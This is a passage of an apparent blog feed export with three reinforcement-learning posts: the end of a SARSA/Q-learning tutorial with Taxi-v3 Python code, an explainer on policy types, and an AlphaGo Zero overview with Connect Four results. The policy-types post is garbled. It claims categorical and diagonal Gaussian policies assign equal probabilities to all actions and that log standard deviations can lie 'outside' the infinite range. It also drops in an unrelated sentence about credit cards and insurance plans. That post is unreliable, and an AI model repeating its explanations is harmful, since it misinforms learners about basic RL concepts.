class="hljs-title">new_value</span> <span class="hljs-operator">-</span> <span class="hljs-title">old_value</span>) <span class="hljs-title">state</span> <span class="hljs-operator">=</span> <span class="hljs-title">next_state</span> <span class="hljs-title">action</span> <span class="hljs-operator">=</span> <span class="hljs-title">next_action</span># <span class="hljs-title">evaluate</span> <span class="hljs-title">the</span> <span class="hljs-title">performance</span><span class="hljs-title">epoch</span> <span class="hljs-operator">=</span> 0<span class="hljs-title">done</span> <span class="hljs-operator">=</span> <span class="hljs-title">False</span><span class="hljs-title">frames</span> <span class="hljs-operator">=</span> []<span class="hljs-title">state</span> <span class="hljs-operator">=</span> <span class="hljs-title">env</span>.<span class="hljs-title">reset</span>()<span class="hljs-title"><span class="hljs-keyword">while</span></span> <span class="hljs-title">not</span> <span class="hljs-title">done</span>: <span class="hljs-title">epoch</span> <span class="hljs-operator">+</span><span class="hljs-operator">=</span> 1 <span class="hljs-title">action</span> <span class="hljs-operator">=</span> <span class="hljs-title">np</span>.<span class="hljs-title">argmax</span>(<span class="hljs-title">q_table</span>[<span class="hljs-title">state</span>]) <span class="hljs-title">state</span>, <span class="hljs-title">reward</span>, <span class="hljs-title">done</span>, <span class="hljs-title">info</span> <span class="hljs-operator">=</span> <span class="hljs-title">env</span>.<span class="hljs-title">step</span>(<span class="hljs-title">action</span>) <span class="hljs-title">frames</span>.<span class="hljs-title">append</span>({ <span class="hljs-string">'frame'</span>: <span class="hljs-title">env</span>.<span class="hljs-title">render</span>(<span class="hljs-title">mode</span><span class="hljs-operator">=</span><span class="hljs-string">'ansi'</span>), <span class="hljs-string">'state'</span>: <span class="hljs-title">state</span>, <span class="hljs-string">'action'</span>: <span class="hljs-title">action</span>, <span class="hljs-string">'reward'</span>: <span class="hljs-title">reward</span> })# <span class="hljs-title">output</span> <span class="hljs-title">sarsa</span> <span class="hljs-title">agent</span><span class="hljs-title">output</span>(<span class="hljs-title">frames</span>, <span class="hljs-title">animation</span><span class="hljs-operator">=</span><span class="hljs-title">False</span>)</code></pre><pre><code><span class="hljs-operator">+</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">+</span><span class="hljs-operator">|</span>R: <span class="hljs-operator">|</span> : :G<span class="hljs-operator">|</span><span class="hljs-operator">|</span> : <span class="hljs-operator">|</span> : : <span class="hljs-operator">|</span><span class="hljs-operator">|</span> : : : : <span class="hljs-operator">|</span><span class="hljs-operator">|</span> <span class="hljs-operator">|</span> : <span class="hljs-operator">|</span> : <span class="hljs-operator">|</span><span class="hljs-operator">|</span>Y<span class="hljs-operator">|</span> : <span class="hljs-operator">|</span>B: <span class="hljs-operator">|</span><span class="hljs-operator">+</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">+</span> (Dropoff)Total timesteps: <span class="hljs-number">12</span>Training finished.</code></pre><h2 id="heading-q-learning">Q-Learning</h2><p><strong>Q-Learning</strong> is very similar to SARSA except for the utilization of a different TD-target. The new TD-target is \(r_{t+1} + \gamma \max_{a \in \mathcal{A}} Q(s_{t+1}, a)\). In other words, we no longer calculate the observed return but the maximum achievable reward from state \(s_{t+1}\). Thus we also no longer require \(a_{t+1}\) and the sequence only contains \(s_t, a_t, r_{t+1}, s_{t+1}\).</p><ol><li>generate trajectory \(\tau\) using \(\epsilon\)-Greedy policy.</li><li>for each sequence \(s_t, a_t, r_{t+1}, s_{t+1}\) adjust \(Q(s_t, a_t)\) according to: $$ Q(s_t, a_t) = Q(s_t, a_t) + \alpha \left ( r_{t+1} + \gamma \max_{a \in \mathcal{A}} Q(s_{t+1}, a) - Q(s_t, a_t) \right ) $$</li><li>If learning is insufficient and time is left, then go back to step 1. Else terminate the algorithm and output \(Q(s, a)\) and the greedy policy if needed.</li></ol><pre><code><span class="hljs-keyword">import</span> <span class="hljs-title">gym</span><span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title">random</span><span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title">numpy</span> <span class="hljs-title"><span class="hljs-keyword">as</span></span> <span class="hljs-title">np</span><span class="hljs-title">env</span> <span class="hljs-operator">=</span> <span class="hljs-title">gym</span>.<span class="hljs-title">make</span>(<span class="hljs-string">"Taxi-v3"</span>).<span class="hljs-title">env</span><span class="hljs-title">env</span>.<span class="hljs-title">reset</span>()# <span class="hljs-title">hyperparameters</span><span class="hljs-title">q_table</span> <span class="hljs-operator">=</span> <span class="hljs-title">np</span>.<span class="hljs-title">zeros</span>([<span class="hljs-title">env</span>.<span class="hljs-title">observation_space</span>.<span class="hljs-title">n</span>, <span class="hljs-title">env</span>.<span class="hljs-title">action_space</span>.<span class="hljs-title">n</span>])<span class="hljs-title">alpha</span> <span class="hljs-operator">=</span> 0.1<span class="hljs-title">gamma</span> <span class="hljs-operator">=</span> 0.6<span class="hljs-title">epsilon</span> <span class="hljs-operator">=</span> 0.1# <span class="hljs-title">start</span> <span class="hljs-title">the</span> <span class="hljs-title">Q</span><span class="hljs-operator">-</span><span class="hljs-title">learning</span> <span class="hljs-title">over</span> 10000 <span class="hljs-title">episodes</span> <span class="hljs-title"><span class="hljs-keyword">for</span></span> <span class="hljs-title">i</span> <span class="hljs-title">in</span> <span class="hljs-title">range</span>(1, 10000): <span class="hljs-title">state</span> <span class="hljs-operator">=</span> <span class="hljs-title">env</span>.<span class="hljs-title">reset</span>() <span class="hljs-title">epoch</span> <span class="hljs-operator">=</span> 0 <span class="hljs-title">reward</span> <span class="hljs-operator">=</span> 0 <span class="hljs-title">done</span> <span class="hljs-operator">=</span> <span class="hljs-title">False</span> <span class="hljs-title"><span class="hljs-keyword">while</span></span> <span class="hljs-title">not</span> <span class="hljs-title">done</span>: <span class="hljs-title">epoch</span> <span class="hljs-operator">+</span><span class="hljs-operator">=</span> 1 # <span class="hljs-title">choose</span> <span class="hljs-title">action</span> <span class="hljs-title">epsilon</span><span class="hljs-operator">-</span><span class="hljs-title">greedy</span> <span class="hljs-title"><span class="hljs-keyword">if</span></span> <span class="hljs-title">random</span>.<span class="hljs-title">uniform</span>(0, 1) <span class="hljs-operator"><</span> <span class="hljs-title">epsilon</span>: <span class="hljs-title">action</span> <span class="hljs-operator">=</span> <span class="hljs-title">env</span>.<span class="hljs-title">action_space</span>.<span class="hljs-title">sample</span>() <span class="hljs-title"><span class="hljs-keyword">else</span></span>: <span class="hljs-title">action</span> <span class="hljs-operator">=</span> <span class="hljs-title">np</span>.<span class="hljs-title">argmax</span>(<span class="hljs-title">q_table</span>[<span class="hljs-title">state</span>]) # <span class="hljs-title">get</span> <span class="hljs-title">next</span> <span class="hljs-title">state</span> <span class="hljs-title">next_state</span>, <span class="hljs-title">reward</span>, <span class="hljs-title">done</span>, <span class="hljs-title">info</span> <span class="hljs-operator">=</span> <span class="hljs-title">env</span>.<span class="hljs-title">step</span>(<span class="hljs-title">action</span>) <span class="hljs-title">old_value</span> <span class="hljs-operator">=</span> <span class="hljs-title">q_table</span>[<span class="hljs-title">state</span>, <span class="hljs-title">action</span>] <span class="hljs-title">next_max</span> <span class="hljs-operator">=</span> <span class="hljs-title">np</span>.<span class="hljs-title">max</span>(<span class="hljs-title">q_table</span>[<span class="hljs-title">next_state</span>]) # <span class="hljs-title">learn</span> <span class="hljs-title">the</span> <span class="hljs-title">Q</span><span class="hljs-operator">-</span><span class="hljs-title">value</span> <span class="hljs-title">new_value</span> <span class="hljs-operator">=</span> (1 <span class="hljs-operator">-</span> <span class="hljs-title">alpha</span>) <span class="hljs-operator">*</span> <span class="hljs-title">old_value</span> <span class="hljs-operator">+</span> <span class="hljs-title">alpha</span> <span class="hljs-operator">*</span> (<span class="hljs-title">reward</span> <span class="hljs-operator">+</span> <span class="hljs-title">gamma</span> <span class="hljs-operator">*</span> <span class="hljs-title">next_max</span>) <span class="hljs-title">q_table</span>[<span class="hljs-title">state</span>, <span class="hljs-title">action</span>] <span class="hljs-operator">=</span> <span class="hljs-title">new_value</span> <span class="hljs-title">state</span> <span class="hljs-operator">=</span> <span class="hljs-title">next_state</span># <span class="hljs-title">evaluate</span> <span class="hljs-title">the</span> <span class="hljs-title">performance</span><span class="hljs-title">epoch</span> <span class="hljs-operator">=</span> 0<span class="hljs-title">done</span> <span class="hljs-operator">=</span> <span class="hljs-title">False</span><span class="hljs-title">frames</span> <span class="hljs-operator">=</span> []<span class="hljs-title">state</span><span class="hljs-operator">=</span><span class="hljs-title">env</span>.<span class="hljs-title">reset</span>()<span class="hljs-title"><span class="hljs-keyword">while</span></span> <span class="hljs-title">not</span> <span class="hljs-title">done</span>: <span class="hljs-title">epoch</span> <span class="hljs-operator">+</span><span class="hljs-operator">=</span> 1 <span class="hljs-title">action</span> <span class="hljs-operator">=</span> <span class="hljs-title">np</span>.<span class="hljs-title">argmax</span>(<span class="hljs-title">q_table</span>[<span class="hljs-title">state</span>]) <span class="hljs-title">state</span>, <span class="hljs-title">reward</span>, <span class="hljs-title">done</span>, <span class="hljs-title">info</span> <span class="hljs-operator">=</span> <span class="hljs-title">env</span>.<span class="hljs-title">step</span>(<span class="hljs-title">action</span>) <span class="hljs-title">frames</span>.<span class="hljs-title">append</span>({ <span class="hljs-string">'frame'</span>: <span class="hljs-title">env</span>.<span class="hljs-title">render</span>(<span class="hljs-title">mode</span><span class="hljs-operator">=</span><span class="hljs-string">'ansi'</span>), <span class="hljs-string">'state'</span>: <span class="hljs-title">state</span>, <span class="hljs-string">'action'</span>: <span class="hljs-title">action</span>, <span class="hljs-string">'reward'</span>: <span class="hljs-title">reward</span> })# <span class="hljs-title">output</span><span class="hljs-title">output</span>(<span class="hljs-title">frames</span>, <span class="hljs-title">animation</span><span class="hljs-operator">=</span><span class="hljs-title">False</span>)</code></pre><pre><code><span class="hljs-operator">+</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">+</span><span class="hljs-operator">|</span>R: <span class="hljs-operator">|</span> : :G<span class="hljs-operator">|</span><span class="hljs-operator">|</span> : <span class="hljs-operator">|</span> : : <span class="hljs-operator">|</span><span class="hljs-operator">|</span> : : : : <span class="hljs-operator">|</span><span class="hljs-operator">|</span> <span class="hljs-operator">|</span> : <span class="hljs-operator">|</span> : <span class="hljs-operator">|</span><span class="hljs-operator">|</span>Y<span class="hljs-operator">|</span> : <span class="hljs-operator">|</span>B: <span class="hljs-operator">|</span><span class="hljs-operator">+</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">+</span> (Dropoff)Total timesteps: <span class="hljs-number">11</span>Training finished.</code></pre><h1 id="heading-conclusion-from-examples">Conclusion from examples</h1><p>By using one of the provided reinforcement algorithms the goal was reached in a much shorter time frame compared to the control method. The two former performed similarly throughout the test period (note that both methods were not evaluated on the same instance of the environment thus optimal solution might differ).</p><h1 id="heading-on-vs-off-policy">On- vs Off-policy</h1><p>The change in the TD-target may seem small yet it is very important. SARSA estimates the Q-value assuming the \(\epsilon\)-Greedy policy used to generate the data \(s_t, a_t, r_{t+1}, s_{t+1}, a_{t+1}\) is maintained. Thus, SARSA optimizes the \(\epsilon\)-Greedy policy and not the greedy policy. We call this <strong>on-policy</strong> since the policy used for data generation and updates are <strong>the same</strong>.</p><p>In contrast, Q-Learning also generates data using the \(\epsilon\)-Greedy policy, yet Q-Learning updates are based on the greedy policy. Through this, Q-Learning always aims to improve the greedy policy. This behavior is called <strong>off-policy</strong> since the policy used for data generation and updates are <strong>not</strong> the same.</p><h1 id="heading-references">References</h1><ul><li><p><a target="_blank" href="https://lilianweng.github.io/lil-log/2018/02/19/a-long-peek-into-reinforcement-learning.html">Lilian Wang: A (Long Peek into Reinforcement Learning)</a></p></li><li><p><a target="_blank" href="https://spinningup.openai.com/en/latest/spinningup/rl_intro.html#optional-formalism">OpenAI: Spinning Up</a></p></li><li><p><a target="_blank" href="https://books.google.de/books?hl=de&lr=&id=uWV0DwAAQBAJ&oi=fnd&pg=PR7&dq=richard+sutton+andrew+barto&ots=miqNm2-_i9&sig=Xv2GFGQyFAemej2n6HMvDU01oiE&redir_esc=y#v=onepage&q=richard%20sutton%20andrew%20barto&f=false">Reinforcement Learning: An introduction - Richard S. Sutton and Andrew G. Barot</a></p></li><li><p><a target="_blank" href="https://towardsdatascience.com/q-learning-and-sasar-with-python-3775f86bd178">Q-Learning and SARSA, with Python</a></p></li><li><p><a target="_blank" href="https://www.learndatasci.com/tutorials/reinforcement-q-learning-scratch-python-openai-gym/">Reinforcement Q-Learning from Scratch in Python with OpenAI Gym</a></p></li></ul>]]>https://cdn.hashnode.com/res/hashnode/image/unsplash/0XkLAIrknco/upload/v1639820449952/7MMaTsYzx.jpeg<![CDATA[Policy Types in Reinforcement Learning]]>https://deepboltzer.codes/policy-types-in-reinforcement-learninghttps://deepboltzer.codes/policy-types-in-reinforcement-learningWed, 15 Dec 2021 16:19:33 GMT<![CDATA[<p>In Reinforcement Learning (RL), a policy is a description of how an agent behaves given its current state and the goal. In this blog post, we will discuss Reinforcement Learning Policy Types: Deterministic Policies and Stochastic Policies. </p><p><strong>Deterministic Policies:</strong> In a deterministic policy, the action taken at each state is always the same. This can be implemented using a lookup table or decision tree. In this case, we denote it is denoted by \( \mu \): </p><p>$$ a_t = \mu(s_t) $$</p><p><strong>Stochastic Policies:</strong> A stochastic policy, on the other hand, produces different actions from one instance to the next, but these are still chosen according to some fixed probabilities. The stochastic policy is denoted by \( \pi \):</p><p>$$ a_t \sim \pi( \cdot | s_t) $$</p><p>Because the policy is essentially the agent's brain, it's not unusual to replace "policy" with "agent," such as when someone says, "The agent is attempting to maximize reward."</p><p>In deep RL, we deal with parameterized policies: policies that produce computable functions that are dependent on a set of parameters (for example, the weights and biases of a neural network) that may be adjusted to modify the outcome using some optimization algorithm.Stochastic Policies </p><p>Categorical and diagonal Gaussian policies are the two most frequent types of stochastic policies in deep RL. Categorical policies can be applied in discrete action regions, while diagonal Gaussian policies are appropriate for continuous action regions.</p><p><strong>Categorical Policy:</strong> A categorical policy is a stochastic policy that favors either one or zero actions in each state, with equal probabilities assigned to all possible action choices. </p><p><strong>Diagonal Gaussian Policy:</strong> On the other hand, Diagonal Gaussian policies take any number of actions from zero to infinity and distribute them according to a diagonal Gaussian distribution. This means that in any given state, the agent can select from many different actions with equal probabilities assigned to all possible action choices.</p><p>The two most important computations for employing and training stochastic policies are: </p><ul><li>Sampling actions from the policy,</li><li>Comparing log-likelihoods of various actions.</li></ul><p>We'll go through how to implement these for both categorical and diagonal Gaussian policies in the following.</p><h1 id="heading-categorical-policies">Categorical Policies</h1><p>A categorical policy is comparable to a classifier in terms of its structure. You construct a neural network for a categorical policy in the same way as you would for a classifier: the input is the observation, followed by one or more layers (possibly convolutional or densely-connected, depending on the type of input), and then there's an output layer with one node for each possible action.</p><h2 id="heading-action-sampling-log-probability">Action Sampling (log-probability)</h2><p>To take actions according to a categorical policy, we sample them from the posterior distribution of all the possible actions given the observation and current state. There are different ways of doing this depending on whether you want to maintain Monte Carlo estimates of the policy or not.</p><p><strong>Maintaining Monte Carlo Estimates:</strong> If you want to maintain Monte Carlo estimates of the policy, then you can use a method like importance sampling. This involves drawing from the posterior at each step and keeping track of how often different actions are sampled. </p><p><strong>Not Maintaining Monte Carlo Estimates:</strong> Alternatively, if you don't want to maintain Monte Carlo estimates, you can use a random sampling method. This just picks an action at random from the posterior for each step.</p><p>In either case, we need to compute the log-probability of taking each action given the observation and state: </p><p>$$ \log \pi_\theta(a | s) = \log P_\theta(s)_a $$</p><p>where \( P_\theta(s) \), is the last layer of probabilities taken from the NN. It's computed by inserting the observation and state into our neural network (which has one node for each possible action in this case) and then applying the activation function.</p><p>Once we have the log-probabilities of all the actions, we can compare them and take the action with the highest log-probability (or some other measure like expected utility). </p><h1 id="heading-diagonal-gaussian-policies">Diagonal Gaussian Policies</h1><p>A multivariate normal distribution, often known as a multivariate Gaussian distribution (but not to be confused with the multidimensional normal form, which is a different topic), is characterized by a mean vector, \( \mu \), and a covariance matrix, \( \Sigma \). A diagonal Gaussian distribution is one in which the entries of \( \Sigma \), are all zero except for the diagonal, which consists of the variances of the individual variables.</p><p>The advantage of a diagonal Gaussian distribution is that it's easy to compute its mean and variance.</p><p>This makes it easy to sample from a diagonal Gaussian distribution: you just compute the mean and variance of each variable, then draw values for each variable independently from a standard normal distribution.</p><p>We can use a similar approach to sampling actions according to a diagonal Gaussian policy. We just have to compute the mean and covariance for each possible action, then draw from a standard normal distribution. . There are two different ways that the covariance matrix is typically represented.</p><ol><li>The log standard deviation vector, which is not a function of the state, contains one value: the log standard deviations are independent parameters.</li><li>The state-to-log-standard-deviation mapping is done by a neural network. It can be configured to share certain layers with the mean network if desired.</li></ol><p>In both cases, we obtain log standard deviations rather than direct standard deviations. This is because log stds have the freedom to take on any value between \( - \infty\) and \( \infty \) (or any number outside of that range), while stds must be nonnegative. If you don't need to enforce those restrictions, it's much easier to train parameters. The log standard deviations can be exponentiated to obtain the standard deviations immediately, so we don't lose anything by displaying them like this.</p><h2 id="heading-sampling">Sampling</h2><p>Given the mean action \( \mu_\theta(s) \) and standard deviation \( \sigma_\theta(s) \), and a vector of noise \( z \sim \mathcal{N}(0,I)\), an action can be taken with the following formula:</p><p>$$ a = \mu_\theta(s) + \sigma_\theta(s) \cdot z$$</p><p>, where \( \cdot \) represents the elementwise product of two vectors.</p><h2 id="heading-log-likelihood">Log-Likelihood</h2><p>The log-likelihood of a k-dimensional action \( a \) is given by: </p><p>$$ \log \pi_\theta(a | s) = - \frac{1}{2} \left ( \sum_{i=1}^k \left ( \frac{(a_i - \mu_i )^2}{\sigma_i^2} + 2 \log \sigma_i \right ) + k \log 2 \pi \right ) $$</p><h1 id="heading-outline">Outline</h1><p>The reason Reinforcement Learning works is because we can estimate values by taking expectations (i.e., weighted averages) of future rewards based on different policies. For example, if our policy gives us an 80% chance of going left and a 20% chance of going right, then that means that on average we can expect to be standing at the left side of a door 80% of the time and on the right 20%.</p><p>Registering for a credit card and receiving your first statement can be a memorable experience. If you have two insurance plans that both take you to the same doors at equal probability, but one is more likely than the other to lead us to food (i.e., it has a higher expected reward), Reinforcement Learning will pick the plan with the greater expected reward.</p><p>In this post, we've looked at a few different ways of representing policies in Reinforcement Learning. We've seen how to represent deterministic and stochastic policies as well as diagonal Gaussian policies. In the next post, we'll look at how to actually implement these policies in code.</p>]]>https://cdn.hashnode.com/res/hashnode/image/unsplash/2umO15jsZKM/upload/v1639584675045/7V-I7c_VO.jpeg<![CDATA[AlphaGo Zero Explained]]>https://deepboltzer.codes/alphago-zero-explainedhttps://deepboltzer.codes/alphago-zero-explainedTue, 14 Dec 2021 18:47:46 GMT<![CDATA[<p>In October 2015 DeepMind's AlphaGo Fan beat the European Go champion Fan Hui in the game of Go decisively and just one year later AlphaGo Lee defeated Lee Sedol who is considered to be one of the greatest Go players of the past decade. This demonstrates the potential of RL algorithms to outperform humans in a complex game that requires strategy and forethought. Since then, DeepMind has continued to improve the architecture behind AlphaGo, developing new versions with dramatically greater performance. One such recent variation, dubbed AlphaGo Zero, has surpassed all previous versions of AlphaGo in a relatively short time.</p><p>This blog post aims to provide a fundamental knowledge of the AlphaGo Zero architecture and the elegance of its interactions between used algorithms.</p><h1 id="heading-the-game-of-go">The game of Go</h1><p>The game of Go () is an ancient game originating in China more than 3000 years ago. Like chess, Go has very simple rules but requires dramatically different thinking to master. The objective of the game is to surround as much territory on the board as possible by placing white and black stones (one player uses black, the other white) sequentially on intersections (called "points") of a 19x19 grid. Unlike chess, however, there are no restrictions on where to place the first stone.</p><p>Additionally, points surrounded wholly by one color are called "territories" and associated with that color's player.</p><p>As you can see below only the dark areas are controlled by Black while White controls all bright areas:</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1639129614544/HDXaH2cLa.jpeg" alt="Game of Go" /> </p><p>Go differs from chess in that the number of moves possible is greater, but the minimum number of moves it takes to capture enemy pieces (a "group") is fewer than in chess.</p><p>The game starts with an empty board and both players alternately place stones on unoccupied intersections until they pass their turn. The game ends when both players pass without any territory being captured or one player concedes defeat.</p><p>Go is a perfect example for applying RL algorithms since there are no restrictions on where you can place your stone next. Additionally, Go has deep complexity meaning that if you want to beat the best human players you need to think even further ahead than they do! For more details on how AlphaGo Fan achieved this check out their original paper.</p><h1 id="heading-the-outstanding-idea-behind-alphago-zero">The outstanding idea behind AlphaGo Zero</h1><p>The main distinction between AlphaGo Zero and its predecessors AlphaGo is that it has no prior human knowledge or supervision, therefore it is essentially starting from the ground up (or as some would say "tabula rasa"), which roughly translates to a blank or clean slate.</p><p>To better understand AlphaGo Zero's concept, let's break it down into simple steps. The appeal of AlphaGo Zero is that the fundamental concept is precisely how we would attempt to play a game without any prior knowledge by just knowing the rules.</p><h2 id="heading-foresight">Foresight</h2><p>Consider a game board in front of you. The first thing we'd do is look at potential scenarios that might affect the game's outcome. Naturally, the most important consideration is which route or state would provide us the greatest advantage and our opponent's reaction to our own actions. We obviously can't always anticipate every move our opponent will make or how the game will develop as a result of taking an action correctly, but it does give us a good sense of what may happen.</p><h2 id="heading-exploration">Exploration</h2><p>We record the results of our operations and compare them to previous actions in order to verify their efficacy. Every time we reach a new state, we want to know how important it is and whether there are any patterns in our path that might be used in later matches or even years down the road. The value of a state can vary during your journey and over time as you play and re-assess.</p><h2 id="heading-decision">Decision</h2><p>When we've finished analyzing and playing through all of the potential states and paths, we take an action based on our knowledge of the game, which means we'll choose the course of action that we've explored the most since this would be the route with which we have acquired the most information. Our decisions in a given state might differ and alter as a result of learning and increasing expertise.</p><h2 id="heading-evaluation">Evaluation</h2><p>In the final analysis, which takes place at the end of the game, we must evaluate our performance in the game by assessing our blunders and misjudgments on a state-by-state basis for the goals of those states. We should also look at where we got it right so that we may repeat this successful step again. After that, we have a greater knowledge of the game and can get ready for the next match with our new awareness.</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1639130049721/X1bYeNQ8a.png" alt="idea behind AlphaGoZero.PNG" /></p><h1 id="heading-reinforcement-learning-in-alphago-zero">Reinforcement Learning in AlphaGo Zero</h1><p>AlphaGo Zero utilizes two main components, a <strong>deep neural network</strong> \(f_\theta\) with parameters \(\theta\) and a <strong>Monte Carlo tree search algorithm (MCTS)</strong>. The deep neural network takes the raw board representation of the current board combined with previous board states into one state \(s\) as input to predict a probability for each move of the given board state, encoded as a vector \(p\), and to predict the chance of victory \(v\) for the current player, \((p, v) = f_\theta(s)\). The resulting combination of move (action) \(a\) given inboard state \(s\) is called state-action pair and can be defined by the tuple \((s, a)\).</p><p>When asked to choose its next move \(a\) inboard state \(s\), the algorithm will conduct an MCTS using the deep neural network. This utilizes a tree in such that the nodes of the tree are defined by the board states \(s\) and the edges represent the state-action pairs \((s, a)\). </p><p>Moreover, each edge contains a counter \(N(s, a)\) that counts how frequently the edge was chosen during the search. The edge also contains a value \(P(s, a)\), calculated from the neural network probability \((P(s, \cdot), V(s)) = f_\theta(s)\) . Note that the neural network also provides us with a current board state value function \(V(s)\). Finally, each edge includes the action value \(Q(s, a)\) derived from the resulting board state value function \(V(s')\) after executing action \(a\).</p><p>To summarize, each edge \((s, a)\) currently has three values \(N(s, a), P(s, a), Q(s, a)\) and we can calculate the state-action pair's promise as \(Q(s, a) + U(s, a)\), in which \(U(s, a) \propto \frac{P(s, a)}{N(s, a) + 1}\) is the balance between exploration and exploitation.</p><p>Assuming that \(s_0\) is the board state when we start the MCTS, the tree search is composed of the following steps: </p><ol><li><p>Initialize the tree with a single node: The current board state \(s_0\) and its edges are defined by \((s_0, a)\).</p></li><li><p>Follow the most promising route, which is to say, always choose to follow the edge with the greatest value of \(Q(s, a) + U(s, a))\), until an edge \((s, a)\) is selected that leads to a board state \(s'\) that has not yet been recorded in the tree. (Step 1 in the idea diagram)</p></li><li><p>Expand the tree by creating a separate node for the new board state \(s'\), and increase the counter \(N(s, a)\) as well as update \(Q(s, a)\) for each edge leading to this new board position. (Step 2 in the idea diagram)</p></li><li><p>If it is anticipated that the movement will be selected within a limited amount of time, advance to step 2. Else return a stochastic policy \(\pi(a | s_0) \propto N(s_0, a)^{\frac{1}{\tau}}\) using the hyperparameter \(\tau\), meaning that the resulting policy \(\pi(a | s_0)\) recommends moves by assigning probabilities to actions.</p></li><li><p>Derive the next move from policy \(\pi(a | s_0)\). (Step 3. in the idea diagram)</p></li></ol><p>The resulting policy \(\pi(a | s_0)\) can be viewed as a refinement of the raw network output probatilites \(p\) with \((p, v) = f_\theta\).</p><p>This technique allows the algorithm to play against itself multiple times. After each self-play match has concluded, the match history may be used to construct multiple triples: \((s, \pi(\cdot| s), z)\) where \(s\) is a board state, \(\pi(\cdot| s)\) is the MCTS move probabilities for this board state, and z is an encoding of the ultimate winner of the match \(z\) (i.e., did the player whose turn it was in the board state \(s\) win?).</p><p>After multiple of these self-plays have concluded, a batch from the available triples is chosen to be used in training the deep neural network. The network is trained for each triple \((s, \pi(\cdot| s), z)\) in the batch. The training minimizes the error between the network output, the MCTS policy and the eventual winner so that \(f_\theta(s) = (p, v) \sim (\pi(\cdot| s), z)\). (Step 4. in the idea diagram)</p><p>The whole process can be visualized as follows:</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1639501905663/LNqs5g56H.png" alt="AlphaGoZeroRLFlow.png" /></p><p>The deep neural network deployed in AlphaGo Zero is a residual neural network (<a target="_blank" href="https://en.wikipedia.org/wiki/Residual_neural_network">ResNet</a>). In particular, the neural network in the original paper consisted of 40 residual blocks. These blocks were all initialized randomly, meaning AlphaGo started learning without any prior knowledge and thus learned only by using the self-play mechanism, requiring no human supervision.</p><h1 id="heading-results-achieved-by-alphago-zero">Results achieved by AlphaGo Zero</h1><p>AlphaGo Zero quickly outperformed previous iterations of AlphaGo, even while beginning with significantly lower performance than a supervised RL approach. This is demonstrated in the graph from the original paper linked below, which compares the training performance to supervised learning and Alpha Go Lee, the version that defeated Sedol, a grandmaster player.</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1639502365311/OiDB9gSUf.png" alt="results1.png" /></p><p>An Elo rating is used to compare the various methods. The new RL approach surpasses the original supervised learning technique after around 20 hours, according to the graph. It surpassed AlphaGo Lee's Elo rating 16 hours later as well. After a total of 72 hours, the learning phase was completed, and AlphaGo Zero beat AlphaGo Lee in a final clash of 100 matches without losing once.</p><p>Another interesting side note about the accuracy of professional human players' moves is that AlphaGo Zero learns different gaming strategies and methods, predicting human actions with less accuracy than supervised learning. The graph below demonstrates this fact: While never reaching supervised learning's accuracy of approximately 50%, AlphaGo Zero improves on this aspect. Researchers were also able to discover new enhanced versions of previous methods.</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1639502371746/-qzrwiAPd.png" alt="results2.png" /></p><p>All of this indicates that RL algorithms could be used in a wide range of fields and that RL solutions might compete and even outperform human knowledge acquired over hundreds of years. The research team's efforts, however, are not yet complete. In this instance, the learning technique was utilized to play the popular game Go, but it may also be applied to a variety of games and problems. As a result, the following section will borrow AlphaGo's approach for another type of model: Connect Four - demonstrating the method's flexibility.</p><h1 id="heading-exemplary-results">Exemplary results</h1><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1639507250180/Y0WsxxZNx.png" alt="table1.png" /></p><p>By exchanging the model - in this case, the rules of Go to Connect Four - and applying the discussed AlphaGo Zero learning approach the following results were observed over 78 iterations with 30 episodes each:</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1639507258050/1VouhhX7D.png" alt="tournament1.png" /></p><p>To evaluate the method at different stages of the learning process 28 players competed in a tournament. Each player represents a different iteration and thus a different level of proficiency. During the tournament, each player plays every player four times and gains/loses points equal to its wins/loses respectively (draws result in 0 points). The graphic illustrates the expected result that players representing a later stage of learning generally perform better than those representing earlier stages.</p><p>Thank you for your attention and for reading our blog post! Our team, <a class="user-mention" href="https://hashnode.com/@JoBo">Jonas Bode</a>, <a class="user-mention" href="https://hashnode.com/@tobias-huerten">Tobias Hrten</a>, <a class="user-mention" href="https://hashnode.com/@LucaLiberto">Luca Liberto</a>, <a class="user-mention" href="https://hashnode.com/@FlorianSpelter">Florian Spelter</a> and <a class="user-mention" href="https://hashnode.com/@deepboltzer">Johannes Loevenich</a> would appreciate your inspiring feedback!</p><h2 id="heading-references">References</h2><ul><li><a target="_blank" href="https://github.com/AppliedDataSciencePartners/DeepReinforcementLearning">Github</a></li><li><a target="_blank" href="https://medium.com/applied-data-science/alphago-zero-explained-in-one-diagram-365f5abf67e0">AlphaZero Cheatsheet</a></li><li><a target="_blank" href="https://medium.com/applied-data-science/how-to-build-your-own-alphazero-ai-using-python-and-keras-7f664945c188">AlphaZero using Python and Keras</a></li><li><a target="_blank" href="https://www.nature.com/articles/nature24270.epdf?author_access_token=VJXbVjaSHxFoctQQ4p2k4tRgN0jAjWel9jnR3ZoTv0PVW4gB86EEpGqTRDtpIz-2rmo8-KG06gqVobU5NSCFeHILHcVFUeMsbvwS-lxjqQGg98faovwjxeTUgZAUMnRQ">Original Paper: Mastering the game of Go without human 